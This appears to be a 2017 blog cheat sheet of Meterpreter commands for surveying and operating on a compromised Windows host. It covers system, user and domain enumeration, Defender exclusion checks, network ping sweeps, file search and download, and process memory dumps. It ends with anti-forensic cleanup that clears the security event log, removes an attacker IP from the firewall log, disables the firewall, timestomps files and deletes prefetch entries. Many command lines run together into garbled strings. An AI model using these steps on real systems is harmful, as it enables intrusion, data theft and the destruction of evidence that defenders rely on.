date: “2017-02-21” draft: false title: “Meterpreter Survey - Windows”
Init
- Situational Awareness
getuid# Get the meterpreter current User Idgetpid# Get the meterpreter current PIDipconfig# Host Name, IP Addresssysinfo# Get the hostname, OS, and architecture of the systemps# Get a list of the currently running processes and check current meterpreter process PIDnetstat# Get a list of the current connections and listening portscd c:\\windows\\temp\\# Change directory to have predictable File System interactions
idletimepwdls
- System Date/Time
run wmic -c "timezone list brief"# Get the current time zonerun wmic -c "os get localdatetime"# Get the current time
- Security and Settings
run get_env# Show system environment variablesrun getcountermeasure# Determine if firewall is enabledrun multicommand -cl "at","schtasks /query"# List scheduled tasksrun wmic -c "startup list"# Get a list of the applications that are set to launch at startuprun multicommand -cl "netsh firewall show logging"# Determine if the built-in firewall has logging enabled or disabledrun event_manager -i# Show which Windows event logs are availablereg enumkey -k "HKLM\\Security\\Policy\\PolAdtEv"run uploadexec -e /<PATH_TP>/auditpol.exe -r -v
Domains and Users
- Domains
reg queryval -k "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion" -v productnamereg queryval -k "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion" -v currentversionreg queryval -k "HKLM\\system\\currentcontrolset\\services\\tcpip\\parameters" -v "Domain"run wmic -c "computersystem get domain"
- Users
run enum_logged_on_users -crun wmic -c "netlogin get name,lastlogon,badpasswordcount"
Software
- Installed Software
run get_application_list
- Enumerate Persistance Vectors
run wmic -c "startup list"reg enumkey -k "HKLM\\software\\microsoft\\windows\\currentversion\\run"reg enumkey -k "HKCU\\software\\microsoft\\windows\\currentversion\\runonce"reg enumkey -k "HKLM\\software\\microsoft\\windows\\currentversion\\run"reg enumkey -k "HKCU\\software\\microsoft\\windows\\currentversion\\runonce"reg queryval -k "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon" -v "shell"# xpreg queryval -k "HKLM\\software\\microsoft\\windows\\currentversion\\winlogon" -v "shell"
- Defender / Security Essentials
migrate <PID># Migrage to SYSTEM svchost, required for viewing/editing spynet registryreg enumkey -k "HKLM\\Software\\Microsoft\\Windows Defender\\spynet"reg enumkey -k "HKLM\\SOFTWARE\\Microsoft\\Microsoft Antimalware\\Exclusions"reg queryval -k "HKLM\\Software\\Microsoft\\Windows Defender\\spynet" -v spynetreporting# 0=no, 1=basic, 2=advancedls "C:/programdata/microsoft/microsoft antimalware/quarantine/entries"# quarantined filesrun event_manager -l SYSTEM -f 1001# last scheduled jobcat "c:/windows/temp/MpSigStub.log"cat "c:/windows/temp/MpCmdRun.log"
- Remote Logging
run multicommand -cl "netsh advfirewall firewall show rule name=\"Remote Event Log Management (RPC)\""run multicommand -cl "netsh advfirewall firewall show rule name=\"Remote Event Log Management (NP-In)\""run multicommand -cl "netsh advfirewall firewall show rule name=\"Remote Event Log Management (RPC-EPMAP)\""run multicommand -cl "netsh advfirewall firewall show rule name=\"Windows Remote Management (HTTP-In)\""
- Dr. Watson
Networking
- Local Area Networking
run multicommand -cl "ipconfig /all"run multicommand -cl "ipconfig /displaydns"netstat
- Network awareness
run netenum -ps -r <IPSTART>-<IPEND># Pingsweeep of network rangerun multicommand -cl "ping -n 2 <IP>"
- Internet Settings
reg queryval -k "HKCU\\software\\microsoft\\windows\\currentversion\\internet settings" -v ProxyEnablereg queryval -k "HKCU\\software\\microsoft\\windows\\currentversion\\internet settings" -v ProxyServer
Doucments and File System interactions
- Finding Files
search -f *.<EXT># find all files of type <EXT>search -d "C:\\<PATH>\\<DIR>\\" -f *.<EXT> -r"# search a specific <DIR>run multicommand -cl "cmd /c dir c:\\*.<EXT> /S /A"download <FILE># download for offline analysis (e.g. strings)
Malware
- Enumerate processes and handles
psnetstatsearch -f <PROCESS>.exerun multicommand -cl "tasklist /FI \"PID eq <PID>\" /M"upload /<PATH> handle.exerun multicommand -cl "cmd /c handle -p "<PROCESS>.exe" -accepteula"rm C:\\<PATH>\\handle.exels
- Related files
run multicommand -cl "cmd /c dir c:\\windows\\system32\\malicious.file"run multicommand -cl "cmd /c dir c:\\ /S /A | findstr \"MM/DD/YYYY HH:MM\""# related files by daterun multicommand -cl "cmd /c dir c:\\windows\\system32\\drivers /o:d /t:w"# recent drivers
- Strings and Memory
download <FILE># download for offline analysis (e.g. strings)run process_memdump -p PID
Cleanup
- Event Log
run event_manager -irun event_manager -l security -f 529# ms08_067run event_manager -l security -f 680# ms08_067run event_manager -l system -f 1116# bccaa_bofrun event_manager -l system -f 1117# bcaaa_bofrun event_manager -c securityrun event_manager -l security# expect 517 for cleared log
- Logs and Dump files
run multicommand -cl "cmd /c dir c:\\*.*log /S /A"run multicommand -cl "cmd /c dir c:\\*.*dmp /S /A"search -f *.*dmpls "c:\\documents and settings\\all users\\application data\\microsoft\\dr watson"
- WER
ls "c:\\ProgramData\\microsoft\\windows\\wer\\reportarchive"ls "c:\\ProgramData\\microsoft\\windows\\wer\\reportqueue"ls "c:\\ProgramData\\Microsoft\\Windows\\wer\\"
- Windows firewall log cleaning
run multicommand -cl "netsh advfirewall show currentprofile"run multicommand -cl "netsh advfirewall show allprofiles"run multicommand -cl "netsh advfirewall export \"c:/windows/temp/firewall.wfw\""ls "c:/windows/system32/logfiles/firewall"run multicommand -cl "findstr \"<IP ADDR>\" c:\\windows\\system32\\firewall\\pfirewall.log"cd c:/windows/temprun multicommand -cl "cmd /c findstr /V \"<IP ADDR>\" c:\\windows\\system32\\firewall\\pfirewall.log > c:\\windows\\temp\\fw.tmp"run multicommand -cl "findstr \"<IP ADDR>\" c:\\windows\\temp\\fw.tmp"cat fw.tmppsrun multicommand -cl "netsh advfirewall set currentprofile state off"run multicommand -cl "cmd /c move c:\\windows\\temp\\fw.tmp c:\\windows\\system32\\firewall\\pfirewall.log"timestomp c:\\windows\\system32\\firewall\\pfirewall.log -m "MM/DD/YYYY HH:MM:SS"ls c:\\windows\\system32\\firewall\\pfirewall.logrun multicommand -cl "netsh advfirewall import \"c:/windows/temp/firewall.wfw\""run multicommand -cl "netsh advfirewall set currentprofile state on"ls c:\\windows\\system32\\firewall\\pfirewall.log
- Prefetch Cleaning
cd c:\\windows\\prefetchrun multicommand -cl "cmd /c dir /o:d /t:w"rm <FILE>.pf